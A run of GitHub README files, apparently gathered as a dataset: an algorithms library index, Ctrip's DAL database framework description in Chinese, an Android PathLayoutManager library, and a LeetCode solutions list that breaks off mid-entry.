[**java**](java/structures/RTree.java) + [x] Metric tree [**java**](java/structures/MetricTree.java) + [x] Quadtree [**java**](java/structures/QuadTree.java) + [x] Mergeable heap [**java**](java/structures/MergeableHeap.java) + [x] Queue with minimum [**c++**](cpp/structures/queue_min.cpp) [**java**](java/structures/QueueMin.java) + [x] Sparse table [**c++**](cpp/structures/sparse-table.cpp) [**java**](java/structures/RmqSparseTable.java) [**java**](java/graphs/lca/LcaSparseTable.java) + [x] Sparse segment tree [**c++**](cpp/structures/sparse-segment-tree.cpp) + [x] Wavelet tree [**c++**](cpp/structures/wavelet_tree.cpp) [**java**](java/structures/WaveletTree.java) + [x] Mo's algorithm [**java**](java/structures/MosAlgorithm.java) + [x] Mo's algorithm with point updates [**c++**](cpp/structures/mos_with_updates.cpp) #### Graph algorithms + [x] Shortest paths [**c++**](cpp/graphs/shortestpaths) [**java**](java/graphs/shortestpaths) + [x] Maximum flow [**c++**](cpp/graphs/flows) [**java**](java/graphs/flows) + [x] Maximum matching [**c++**](cpp/graphs/matchings) [**java**](java/graphs/matchings) + [x] Spanning tree [**c++**](cpp/graphs/spanningtree) [**java**](java/graphs/spanningtree) + [x] Connectivity [**c++**](cpp/graphs/dfs) [**java**](java/graphs/dfs) + [x] Biconnectivity [**java**](java/graphs/dfs/Biconnectivity.java) + [x] LCA Schieber-Vishkin algorithm [**c++**](cpp/graphs/lca/lca_rmq_schieber_vishkin.cpp) [**java**](java/graphs/lca/LcaSchieberVishkin.java) + [x] LCA [**java**](java/graphs/lca) + [ ] Planarity testing ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/28)) + [ ] Dynamic graph connectivity ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/29)) + [ ] Chu–Liu/Edmonds' algorithm ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/30)) + [ ] Minimum augmentation to strong connectivity ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/32)) + [ ] Minimum augmentation to biconnectivity ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/33)) #### String algorithms + [x] Knuth-Morris-Pratt algorithm [**c++**](cpp/strings/kmp.cpp) [**java**](java/strings/Kmp.java) + [x] Aho-Corasick algorithm [**c++**](cpp/strings/aho-corasick.cpp) [**java**](java/strings/AhoCorasick.java) + [x] Suffix array and lcp array. Radix sort algorithm in O(n*log(n)) [**c++**](cpp/strings/suffix-array.cpp) [**java**](java/strings/SuffixArray.java) + [x] Suffix array. Algorithm DC3 in O(n) [**c++**](cpp/strings/suffix-array-dc3.cpp) [**java**](java/strings/SuffixArrayDC3.java) + [x] Suffix array. Algorithm SA-IS in O(n) [**c++**](cpp/strings/suffix-array-sa-is.cpp) + [x] Suffix automaton [**c++**](cpp/strings/suffix-automaton.cpp) [**java**](java/strings/SuffixAutomaton.java) + [x] Suffix tree Ukkonen's algorithm [**c++**](cpp/strings/suffix_tree_ukkonen.cpp) [**java**](java/strings/SuffixTree.java) + [x] Suffix tree Breslauer-Italiano algorithm [**c++**](cpp/strings/suffix_tree_breslauer_italiano.cpp) + [x] Trie [**java**](java/strings/Trie.java) + [x] Z-function [**c++**](cpp/strings/z-function.cpp) [**java**](java/strings/ZFunction.java) + [x] Hashing [**c++**](cpp/strings/hashing.cpp) [**java**](java/strings/Hashing.java) + [x] Parsing [**java**](java/parsing) [**c++**](cpp/parsing) + [ ] Palindrome tree ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/34)) + [ ] Sorting strings in linear time ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/31)) #### Sorting algorithms + [x] Sorting algorithms [**c++**](cpp/sort/sort.cpp) [**java**](java/sort/Sort.java) + [x] N-th element [**java**](java/sort/NthElement.java) #### Geometry algorithms + [x] Segments intersection [**c++**](cpp/geometry/segments_intersection.cpp) [**java**](java/geometry/SegmentsIntersection.java) + [x] Line operations [**java**](java/geometry/LineGeometry.java) + [x] Circle operations [**java**](java/geometry/CircleOperations.java) + [x] Convex hull [**c++**](cpp/geometry/convex_hull.cpp) [**java**](java/geometry/ConvexHull.java) + [x] Point in polygon query [**c++**](cpp/geometry/point_in_polygon.cpp) [**java**](java/geometry/PointInPolygon.java) + [x] Closest pair of points [**java**](java/geometry/Closest2Points.java) + [x] Furthest pair of points [**c++**](cpp/geometry/diameter.cpp) + [ ] Implement quaternion ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/35)) #### Optimization + [x] Simplex algorithm [**java**](java/optimization/Simplex.java) #### Numerical algorithms + [x] Fast Fourier transform (FFT) [**c++**](cpp/numeric/fft.h) [**java**](java/numeric/FFT.java) + [x] Long arithmetics [**c++**](cpp/numeric/bigint.cpp) + [x] Fast subset convolution [**java**](java/numeric/SubsetConvolution.java) + [x] Fast Walsh-Hadamar transform [**java**](java/numeric/WalshHadamarTransform.java) + [x] Karatsuba multiplication [**java**](java/numeric/KaratsubaMultiply.java) + [x] Newton interpolation [**java**](java/numeric/NewtonInterpolation.java) + [x] Laguerre's root-finding algorithm [**c++**](cpp/numeric/polynom-roots.cpp) #### Number theory + [x] Primes and divisors [**java**](java/numbertheory/PrimesAndDivisors.java) [**c++**](cpp/numbertheory/primes_and_divisors.cpp) + [x] Factorization [**java**](java/numbertheory/Factorization.java) [**c++**](cpp/numbertheory/factorization.cpp) + [x] Euclidean algorithm [**java**](java/numbertheory/Euclid.java) [**c++**](cpp/numbertheory/euclid.cpp) + [x] Primitive root [**c++**](cpp/numbertheory/primitive_root.cpp) + [x] Discrete logarithm [**c++**](cpp/numbertheory/discrete_log.cpp) + [x] Discrete root [**c++**](cpp/numbertheory/discrete_root.cpp) + [x] Multiplicative function [**java**](java/numbertheory/MultiplicativeFunction.java) + [x] Rational numbers [**java**](java/numbertheory/Rational.java) + [x] Polynom class [**c++**](cpp/numbertheory/polynom.h) + [x] Linear recurrence and Berlekamp-Massey algorithm [**c++**](cpp/numbertheory/linear_recurrence.cpp) + [x] Modular operations [**c++**](cpp/numbertheory/modint.h) #### Combinatorics + [x] Permutations [**java**](java/combinatorics/Permutations.java) + [x] Combinations [**java**](java/combinatorics/Combinations.java) + [x] Arrangements [**java**](java/combinatorics/Arrangements.java) + [x] Partitions [**java**](java/combinatorics/Partitions.java) + [x] Set Partitions [**java**](java/combinatorics/SetPartitions.java) + [x] Bracket sequences [**java**](java/combinatorics/BracketSequences.java) + [x] Binomial coefficients [**java**](java/combinatorics/BinomialCoefficients.java) + [x] Prufer code [**java**](java/combinatorics/PruferCode.java) #### Linear algebra + [x] Gaussian elimination [**c++**](cpp/linearalgebra/gauss.cpp) [**java**](java/linearalgebra/Gauss.java) [**kotlin**](kotlin/Gauss.kt) + [x] Determinant calculation [**java**](java/linearalgebra/Determinant.java) + [x] Matrix operations [**c++**](cpp/linearalgebra/matrix.h) [**java**](java/linearalgebra/Matrix.java)
0
ctripcorp/dal
Ctrip Database Access Layer
2016-07-26T03:07:03Z
null
# 简介 Ctrip DAL是携程框架部开发的数据库访问框架,支持代码生成和水平扩展。其由携程技术中心框架部DAL团队开发,历经3年不断打磨,并在长期的实际使用中基于大量的用户反馈不断优化。 开源范围包括代码生成器,Java客户端和C#客户端。 **注:C#客户端于2016年9月29日也正式开源了** # 背景 随着企业规模扩张和业务量的急剧增加,作为系统核心的数据库相关开发也会经历一个由单一团队发展为多团队;由单机扩张到集群;由单数据库发展为多数据库;由采用单一数据库产品到多种数据库产品并存的过程。伴随这一过程的是如何管理数据库扩展,如何规范数据库访问,如何保护数据库投资,如何应对访问量增加,如何预防安全问题等一系列挑战。作为中国在线旅游行业的翘楚,携程也曾经面对同样困扰。为了应对这些挑战,实现企业10倍速发展,携程开发了具有自己特色的数据库访问框架Ctrip DAL Ctrip DAL支持流行的分库分表操作,支持Java和C#,支持Mysql和MS SqlServer。使用该框架可以在有效地保护企业已有数据库投资的同时,迅速,可靠的为企业提供数据库访问层的横向扩展能力。整个框架包括代码生成器和客户端。工作模式是使用代码生成器在线生成代码和配置,通过DAL客户端完成数据库操作。生成器具有丰富的向导指引,操作简单清晰,即可以批量生成标准DAO,也可以在方法级别定制数据库访问。客户端则可以简单的通过标准的maven方式添加依赖 ![model](https://github.com/ctripcorp/dal/blob/master/doc/codegen_work_model.png) Ctrip DAL与一般数据库框架最大的不同是从企业跨部门的角度,统一管理数据库相关资源。通过部署代码生成器,企业可以做到有效的管理全公司的DAL开发团队,明确数据库归属和定制数据库访问。通过代码生成器生成的标准DAO代码与客户端配合使用,可以大幅提高工作效率,保证代码质量。解决了业内常见的伴随业务成长而带来的系统维护困难,开发效率低下,代码风格五花八门,代码质量参差不齐等痛点问题。 ![overview](https://github.com/ctripcorp/dal/blob/master/doc/codegen_overview.png) ### 代码生成器简介 代码生成器允许用户创建Dal团队,组织开发人员,管理数据库,创建DAO并生成代码和配置。与一般基于JDBC driver的DB sharding产品不同的是,代码生成器生成的代码和配置可以直接拿来实用,完全无需用户写一行代码和配置。做到了只需开发人员关心业务逻辑,而把繁琐的数据库相关的编码和配置任务全部交给DAL。由于Ctrip DAL完全在DAO这层工作,也没有什么这种SQL语句不支持,那种SQL语句不能用的情况。同时传递hints的方式也非常自然,每个方法都自带hints的接口,需要DAL额外做什么可以直接按给定的已有名字来设置,无需改写原始的sql来添加怪异的注释。 ### 客户端简介 客户端配合代码生成器生成的代码来完成用户的数据库访问操作。通过Dev和QA两方面双重自动化测试来保障质量,覆盖率达到99%,并经过生产实际实用的的长期严格检验。为了适应不同公司的实际情况,DAL客户端定义了丰富的扩展接口,覆盖了从数据源管理,数据库映射,连接串读取到自定义访问方式等等方方面面的功能。同时为了方便系统监控还内置了系统状态,日志和统计模块。 通过DAL可以做到 1. 在公司范围提供统一的数据库访问方式以降低总体的开发成本 2. 避免由于技术人员水平不同而造成的相同功能实现方式,标准,质量不一至 3. 集中优势人员,将相关的功能做深,做好,做稳定,做全面 4. 出现技术问题的时候有专门的技术团队及时支持。减低总体的风险 # 使用概况 目前携程超过117个独立DAL团队通过Dal Code Gen管理数据库和创建DAO。 2000多个应用在使用DAL框架,占携程所有数据库应用总数超过90%。 支持2种主流编程语言:Java和C#。 支持2种主流数据库Mysql和MS SqlServer。 # 开发团队 ## 发起人 为了支持携程前CTO叶亚明先生(现首席科学家)主导的10X提速战略规划,由前携程系统研发部总监陈绍明先生(Simon Chen)提出该框架最初的构想,陈绍明同时组建了开发团队并决定了该框架的路线图和重大设计决策。 ## 产品经理 孟文超。主要负责DAL产品的总体需求 ## 当前开发人员 * 赫杰辉。Java客户端总体设计与开发,代码生成器Java模板 * 王晔楠。主要负责代码生成器,C#客户端 * 李龙娇。测试负责人,自动化测试开发 ## 历史贡献者 * 原酒店部门Dal开发团队。最初版本的C#客户端和桌面版代码生成器的开发 * 吴广安。早期版本的C#客户端重构和网页版代码生成器的创建 * 袁王成。Java客户端HA,Markdown,AppInternal模块和代码生成器开发 * 夏光智。代码生成器,数据源管理 * 万国新。C#客户端 * 张钰。总体测试 ## 常用参考文档 [简介](https://github.com/ctripcorp/dal/wiki) [代码生成器(CodeGen)安装说明](https://github.com/ctripcorp/dal/wiki/%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90%E5%99%A8(CodeGen)%E5%AE%89%E8%A3%85%E8%AF%B4%E6%98%8E) [代码生成器(CodeGen)使用说明](https://github.com/ctripcorp/dal/wiki/%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90%E5%99%A8(CodeGen)%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E) [Java客户端 集成说明](https://github.com/ctripcorp/dal/wiki/Java%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%9B%86%E6%88%90%E8%AF%B4%E6%98%8E) [Java客户端 配置与扩展](https://github.com/ctripcorp/dal/wiki/Java%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%89%A9%E5%B1%95) [C#客户端 集成说明](https://github.com/ctripcorp/dal/wiki/C%23%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%9B%86%E6%88%90%E8%AF%B4%E6%98%8E) [C#客户端 配置文件](https://github.com/ctripcorp/dal/wiki/C%23%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6) [Java客户端 Demo](https://github.com/ctripcorp/dal/wiki/Java%E5%AE%A2%E6%88%B7%E7%AB%AF-%E9%9B%86%E6%88%90%E8%AF%B4%E6%98%8E#demo-project) ## 技术支持 [携程框架DAL团队](mailto:rdfxdal@Ctrip.com) ![](https://github.com/ctripcorp/dal/blob/master/doc/Tech_Support_QQ.png) ## 已接入公司 请在[这里](https://github.com/ctripcorp/dal/issues/22)提供您的公司名称和网址 ![ctrip](https://github.com/ctripcorp/dal/blob/master/doc/known-users/ctrip.png) ![1hai](https://github.com/ctripcorp/dal/blob/master/doc/known-users/1hai.png) ![dj](https://github.com/ctripcorp/dal/blob/master/doc/known-users/dj.png) ![imedmaster](https://github.com/ctripcorp/dal/blob/master/doc/known-users/imedmaster.png) ![yiguo](https://github.com/ctripcorp/dal/blob/master/doc/known-users/yiguo.png)
0
wuyr/PathLayoutManager
RecyclerView的LayoutManager,轻松实现各种炫酷、特殊效果,再也不怕产品经理为难!
2018-05-26T16:48:22Z
null
## RecyclerView的LayoutManager,轻松实现各种炫酷、特殊效果,再也不怕产品经理为难! ### 博客详情: https://blog.csdn.net/u011387817/article/details/81875021 ### 使用方式: #### 添加依赖: ``` implementation 'com.wuyr:pathlayoutmanager:1.0.3' ``` ### APIs: |Method|Description| |------|-----------| |updatePath(Path path)|更新Path| |setItemOffset(int itemOffset)|设置Item间距 (单位: px)| |setOrientation(int orientation)|设置滑动方向:<br>**RecyclerView.HORIZONTAL** (水平滑动)<br>**RecyclerView.VERTICAL** (垂直滑动)| |setScrollMode(int mode)|设置滚动模式:<br>**SCROLL_MODE_NORMAL** (普通模式)<br>**SCROLL_MODE_OVERFLOW** (允许溢出)<br>**SCROLL_MODE_LOOP** (无限循环)<br>| |setItemDirectionFixed(boolean isFixed)|设置Item是否保持垂直| |setAutoSelect(boolean isAutoSelect)|设置是否开启自动选中效果| |setAutoSelectFraction(float position)|设置自动选中的目标落点 (0~1)| |setFlingEnable(boolean enable)|设置惯性滚动是否开启| |setCacheCount(int count)|设置Item缓存个数| |setItemScaleRatio(float... ratios)|设置平滑缩放比例<br>**ratios**: 缩放比例, 数组长度必须是双数,<br>**偶数索引**表示要**缩放的比例**<br>**奇数索引**表示在**路径上的位置** (0~1)<br>奇数索引必须要递增,即越往后的数值应越大<br>例如:<br> **setItemScaleRatio(0.8, 0.5)** <br>表示在路径的50%处把Item缩放到原来的80%<br>**setItemScaleRatio(0, 0, 1, 0.5, 0, 1)** <br>表示在起点处的Item比例是原来的0%,在路径的50%处会恢复原样<br>到路径终点处会缩小到0%| |scrollToPosition(int position)|将目标Item滚动到自动选中的落点(setAutoSelectFraction)<br>例如 setAutoSelectFraction(0) 则滚动到Path的起点处<br>若为1,则滚动到路径终点处,0.6则路径的60%处 (默认: 0.5)| |smoothScrollToPosition(int position)|同上,此方法为平滑滚动,即选中时会播放动画 <br>动画时长通过 setFixingAnimationDuration 方法来设置| |setFixingAnimationDuration(long duration)|设置自动选中后的选中动画时长| |setOnItemSelectedListener(Listener listener)|设置Item被选中后的监听器 (需开启自动选中才生效)| ### 使用示例: ```java mPathLayoutManager = new PathLayoutManager(path, itemOffset); mRecyclerView.setLayoutManager(mPathLayoutManager); ``` ### Demo下载: [app-debug.apk](https://github.com/wuyr/PathLayoutManager/raw/master/app-debug.apk) ### 库源码地址: https://github.com/Ifxcyr/PathLayoutManager ### 效果: ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview2.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview3.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview4.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview7.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview8.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview5.gif) ![preview](https://github.com/wuyr/PathLayoutManager/raw/master/previews/preview6.gif)
0
gouthampradhan/leetcode
Leetcode solutions
2017-03-09T10:30:30Z
null
# Leetcode solutions in Java My accepted leetcode solutions to some of the common interview problems. #### [Array](src/main/java/array) - [Pascals Traiangle II](src/main/java/array/PascalsTriangle.java) (Easy) - [Product Of Array Except Self](src/main/java/array/ProductOfArrayExceptSelf.java) (Medium) - [Rotate Matrix](src/main/java/array/RotateMatrix.java) (Medium) - [Set Matrix Zeroes](src/main/java/array/SetMatrixZeroes.java) (Medium) - [Third Maximum Number](src/main/java/array/ThirdMaximumNumber.java) (Easy) - [Two Sum](src/main/java/array/TwoSum.java) (Easy) - [TwoSum II](src/main/java/array/TwoSumII.java) (Easy) - [Can Place Flowers](src/main/java/array/CanPlaceFlowers.java) (Easy) - [Merge Intervals](src/main/java/array/MergeIntervals.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [First Missing Positive](src/main/java/array/FirstMissingPositive.java) (Hard) - [Fruit Into Baskets](src/main/java/array/FruitIntoBaskets.java) (Medium) - [MaxProduct Of Three Numbers](src/main/java/array/MaxProductOfThreeNumbers.java) (Easy) - [Missing Number](src/main/java/array/MissingNumber.java) (Easy) - [Merge Sorted Array](src/main/java/array/MergeSortedArray.java) (Easy) - [Rotate Array](src/main/java/array/RotateArray.java) (Easy) - [Sort Colors](src/main/java/array/SortColors.java) (Medium) - [Battleships in a Board](src/main/java/array/BattleshipsInABoard.java) (Medium) - [Find the Celebrity](src/main/java/array/FindTheCelebrity.java) (Medium) - [Meeting Rooms](src/main/java/array/MeetingRooms.java) (Easy) - [Longest Continuous Increasing Subsequence](src/main/java/array/LongestIncreasingSubsequence.java) (Easy) - [Sparse Matrix Multiplication](src/main/java/array/SparseMatrixMultiplication.java) (Medium) - [Read N Characters Given Read4](src/main/java/array/ReadNCharacters.java) (Easy) - [Maximum Swap](src/main/java/array/MaximumSwap.java) (Medium) - [H-Index](src/main/java/array/HIndex.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Insert Interval](src/main/java/array/InsertInterval.java) (Hard) - [Increasing Triplet Subsequence](src/main/java/array/IncreasingTripletSubsequence.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [K Empty Slots](src/main/java/array/KEmptySlots.java) (Hard) - [Subarray Sum Equals K](src/main/java/array/SubarraySumEqualsK.java) (Medium) - [Pour Water](src/main/java/array/PourWater.java) (Medium) - [Relative Ranks](src/main/java/array/RelativeRanks.java) (Easy) - [Next Greater Element I](src/main/java/array/NextGreaterElementI.java) (Easy) - [Largest Number At Least Twice of Others](src/main/java/array/LargestNumberAtLeastTwice.java) (Easy) - [Minimum Moves to Equal Array Elements II](src/main/java/array/MinimumMovesToEqualArray.java) (Median) - [Image Smoother](src/main/java/array/ImageSmoother.java) (Easy) - [Minimum Index Sum of Two Lists](src/main/java/array/MinimumIndexSumOfTwoLists.java) (Easy) - [Card Flipping Game](src/main/java/array/CardFilipGame.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Employee Free Time](src/main/java/array/EmployeeFreeTime.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Best Meeting Point](src/main/java/array/BestMeetingPoint.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [My Calendar III](src/main/java/array/MyCalendarThree.java) (Hard) - [Champagne Tower](src/main/java/array/ChampagneTower.java) (Medium) - [Valid Tic-Tac-Toe State](src/main/java/array/ValidTicTacToeState.java) (Medium) - [Number of Subarrays with Bounded Maximum](src/main/java/array/SubArraysWithBoundedMaximum.java) (Medium) - [Surface Area of 3D Shapes](src/main/java/array/SurfaceAreaOfThreeDShapes.java) (Easy) - [Max Consecutive Ones](src/main/java/array/MaxConsecutiveOnes.java) (Easy) - [Max Consecutive Ones II](src/main/java/array/MaxConsecutiveOnesII.java) (Medium) - [Add to Array-Form of Integer](src/main/java/array/AddToArrayFormOfInteger.java) (Easy) - [Find Pivot Index](src/main/java/array/FindPivotIndex.java) (Easy) - [Largest Time for Given Digits](src/main/java/array/LargestTimeForGivenDigits.java) (Easy) - [Minimum Time Difference](src/main/java/array/MinimumTimeDifference.java) (Medium) - [Reveal Cards In Increasing Order](src/main/java/array/RevealCardsInIncreasingOrder.java) (Medium) - [Sort Array By Parity II](src/main/java/array/SortArrayByParityII.java) (Easy) - [Matrix Cells in Distance Order](src/main/java/array/MatrixCellsinDistanceOrder.java) (Easy) - [Maximum Sum of Two Non-Overlapping Subarrays](src/main/java/array/MaximumSumofTwoNonOverlappingSubarrays.java) (Medium) - [Longest Line of Consecutive One in Matrix](src/main/java/array/LongestLineofConsecutiveOneinMatrix.java) (Medium) - [Array Partition I](src/main/java/array/ArrayPartitionI.java) (Easy) - [Relative Sort Array](src/main/java/array/RelativeSortArray.java) (Easy) - [Meeting Scheduler](src/main/java/array/MeetingScheduler.java) (Medium) - [Minimum Swaps to Group All 1's Together](src/main/java/array/MinimumSwapsToGroupAll1Together.java) (Medium) - [Array Nesting](src/main/java/array/ArrayNesting.java) (Medium) #### [Backtracking](src/main/java/backtracking) - [Combinations](src/main/java/backtracking/Combinations.java) (Medium) - [Combinations Sum](src/main/java/backtracking/CombinationSum.java) (Medium) - [Combinations Sum II](src/main/java/backtracking/CombinationSumII.java) (Medium) - [Letter Phone Number](src/main/java/backtracking/LetterPhoneNumber.java) (Medium) - [Paliandrome Partitioning](src/main/java/backtracking/PalindromePartitioning.java) (Medium) - [Permutations](src/main/java/backtracking/Permutations.java) (Medium) - [Permutations II](src/main/java/backtracking/PermutationsII.java) (Medium) - [SubSets](src/main/java/backtracking/Subsets.java) (Medium) - [SubSet II](src/main/java/backtracking/SubsetsII.java) (Medium) - [Word Search](src/main/java/backtracking/WordSearch.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Word Search II](src/main/java/backtracking/WordSearchII.java) (Hard) - [Generate Parentheses](src/main/java/backtracking/GenerateParentheses.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Remove Invalid Parentheses](src/main/java/backtracking/RemoveInvalidParentheses.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Regular Expression Matching](src/main/java/backtracking/RegularExpressionMatching.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Expression Add Operators](src/main/java/backtracking/ExpressionAddOperators.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Wildcard Matching](src/main/java/backtracking/WildcardMatching.java) (Hard) - [Letter Case Permutation](src/main/java/backtracking/LetterCasePermutation.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Zuma Game](src/main/java/backtracking/ZumaGame.java) (Hard) - [Matchsticks to Square](src/main/java/backtracking/MatchsticksToSquare.java) (Medium) #### [Binary Search](src/main/java/binary_search) - [Minimum Sorted Rotated Array](src/main/java/binary_search/MinSortedRotatedArray.java) (Medium) - [Search in a Rotated Sorted Array](src/main/java/binary_search/SearchRotatedSortedArray.java) (Medium) - [Search for a Range](src/main/java/binary_search/SearchForARange.java) (Medium) - [Sqrt(x)](src/main/java/binary_search/SqrtX.java) (Easy) - [Search Insert Position](src/main/java/binary_search/SearchInsertPosition.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Median of Two Sorted Arrays](src/main/java/binary_search/MedianOfTwoSortedArrays.java) (Hard) - [Pow(x, n)](src/main/java/binary_search/PowXN.java) (Medium) - [Find Peak Element](src/main/java/binary_search/FindPeakElement.java) (Medium) - [Target Sum](src/main/java/binary_search/TargetSum.java) (Medium) - [H-Index II](src/main/java/binary_search/HIndexII.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Swim in Rising Water](src/main/java/binary_search/SwimInRisingWater.java) (Hard) - [Time Based Key-Value Store](src/main/java/binary_search/TimeBasedKeyValuePair.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Window Subsequence](src/main/java/binary_search/MinimumWindowSubsequence.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Koko Eating Bananas](src/main/java/binary_search/KokoEatingBananas.java) (Hard) - [Single Element in a Sorted Array](src/main/java/binary_search/SingleElementInASortedArray.java) (Medium) #### [Bit Manipulation](src/main/java/bit_manipulation) - [Gray Code](src/main/java/bit_manipulation/GrayCode.java) (Medium) - [Hamming Distance](src/main/java/bit_manipulation/HammingDistance.java) (Easy) - [Total Hamming Distance](src/main/java/bit_manipulation/TotalHammingDistance.java) (Medium) - [Divide Two Integers](src/main/java/bit_manipulation/DivideTwoIntegers.java) (Medium) - [Binary Number with Alternating Bits](src/main/java/bit_manipulation/BinaryNumberWithAlternatingBits.java) (Easy) - [Binary Watch](src/main/java/bit_manipulation/BinaryWatch.java) (Easy) #### [Breadth First Search](src/main/java/breadth_first_search) - [Binaray Tree Level Order Traversal](src/main/java/breadth_first_search/BinarayTreeLevelOrderTraversal.java) (Medium) - [Word Ladder](src/main/java/breadth_first_search/WordLadder.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Word Ladder II](src/main/java/breadth_first_search/WordLadderII.java) (Hard) - [Walls and Gates](src/main/java/breadth_first_search/WallsAndGates.java) (Medium) - [Open the lock](src/main/java/breadth_first_search/OpenTheLock.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cut Off Trees for Golf Event](src/main/java/breadth_first_search/CutOffTreesForGolfEvent.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Race Car](src/main/java/breadth_first_search/RaceCar.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Bus Routes](src/main/java/breadth_first_search/BusRoutes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Sliding Puzzle](src/main/java/breadth_first_search/SlidingPuzzle.java) (Hard) - [Matrix](src/main/java/breadth_first_search/Matrix.java) (Medium) - [Rotting Oranges](src/main/java/breadth_first_search/RottingOranges.java) (Medium) #### [Depth First Search](src/main/java/depth_first_search) - [Minesweeper](src/main/java/depth_first_search/Minesweeper.java) (Medium) - [Movie Recommend](src/main/java/depth_first_search/MovieRecommend.java) (Medium) - [Number Of Islands](src/main/java/depth_first_search/NumberOfIslands.java) (Medium) - [Course Schedule](src/main/java/depth_first_search/CourseSchedule.java) (Medium) - [Course Schedule II](src/main/java/depth_first_search/CourseScheduleII.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Alien Dictionary](src/main/java/depth_first_search/AlienDictionary.java) (Hard) - [Graph Valid Tree](src/main/java/depth_first_search/GraphValidTree.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Longest Consecutive Sequence](src/main/java/depth_first_search/LongestConsecutiveSequence.java) (Hard) - [Accounts Merge](src/main/java/depth_first_search/AccountsMerge.java) (Medium) - [CloneGraph](src/main/java/depth_first_search/CloneGraph.java) (Medium) - [Island Perimeter](src/main/java/depth_first_search/IslandPerimeter.java) (Easy) - [Number of Distinct Islands](src/main/java/depth_first_search/NumberOfDistinctIslands.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Distinct Islands II](src/main/java/depth_first_search/NumberOfDistinctIslandsII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Rectangle Enclosing Black Pixels](src/main/java/depth_first_search/SmallestRectangleEnclosingBlackPixels.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Bricks Falling When Hit](src/main/java/depth_first_search/BricksFallingWhenHit.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Robot Room Cleaner](src/main/java/depth_first_search/RobotRoomCleaner.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cracking the Safe](src/main/java/depth_first_search/CrackingTheSafe.java) (Hard) - [All Paths From Source to Target](src/main/java/depth_first_search/AllPathsFromSourceToTarget.java) (Medium) - [Max Area of Island](src/main/java/depth_first_search/MaxAreaOfIsland.java) (Medium) - [Satisfiability of Equality Equations](src/main/java/depth_first_search/SatisfiabilityOfEquations.java) (Medium) - [Number of Enclaves](src/main/java/depth_first_search/NumberOfEnclaves.java) (Medium) - [As Far from Land as Possible](src/main/java/depth_first_search/AsFarfromLandAsPossible.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimize Malware Spread](src/main/java/depth_first_search/MinimizeMalwareSpread.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Parallel Courses](src/main/java/depth_first_search/ParallelCourses.java) (Hard) - [Connecting Cities With Minimum Cost](src/main/java/depth_first_search/ConnectingCitiesWithMinimumCost.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Critical Connections in a Network](src/main/java/depth_first_search/CriticalConnection.java) (Hard) #### [Design](src/main/java/design) - [Copy List With Random Pointer](src/main/java/design/CopyListWithRandomPointer.java) (Medium) - [Encode and Decode Tiny URL](src/main/java/design/EncodeAndDecodeTinyURL.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [LFU Cache](src/main/java/design/LFUCache.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [LRU Cache](src/main/java/design/LRUCache.java) (Hard) - [Insert Delete Get 